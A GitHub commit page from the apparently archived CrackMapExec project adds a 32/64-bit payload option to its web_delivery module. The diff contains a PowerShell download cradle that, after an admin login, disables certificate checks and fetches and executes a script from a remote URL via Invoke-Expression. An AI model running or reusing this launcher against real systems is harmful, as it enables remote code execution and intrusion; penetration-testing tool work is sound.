Skip to content
This repository was archived by the owner on Dec 6, 2023. It is now read-only.

Commit 39fe536

Browse files
author
mpgn
authored
Merge pull request #675 from juliourena/master
Fix #674 - web_delivery module - Added the option to select architecture (64 or 32)
2 parents 491859e + ba690f9 commit 39fe536

File tree

1 file changed

+12
-1
lines changed

1 file changed

+12
-1
lines changed

cme/modules/web_delivery.py

Lines changed: 12 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -21,6 +21,7 @@ class CMEModule:
2121
def options(self, context, module_options):
2222
'''
2323
URL URL for the download cradle
24+
PAYLOAD Payload architecture (choices: 64 or 32) Default: 64
2425
'''
2526

2627
if not 'URL' in module_options:
@@ -29,7 +30,17 @@ def options(self, context, module_options):
2930

3031
self.url = module_options['URL']
3132

33+
self.payload = "64"
34+
if 'PAYLOAD' in module_options:
35+
if module_options['PAYLOAD'] not in ['64', '32']:
36+
context.log.error('Invalid value for PAYLOAD option!')
37+
exit(1)
38+
self.payload = module_options['PAYLOAD']
39+
3240
def on_admin_login(self, context, connection):
3341
ps_command = '''[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{}');'''.format(self.url)
34-
connection.ps_execute(ps_command, force_ps32=True)
42+
if self.payload == "32":
43+
connection.ps_execute(ps_command, force_ps32=True)
44+
else:
45+
connection.ps_execute(ps_command, force_ps32=False)
3546
context.log.success('Executed web-delivery launcher')

0 commit comments

Comments
 (0)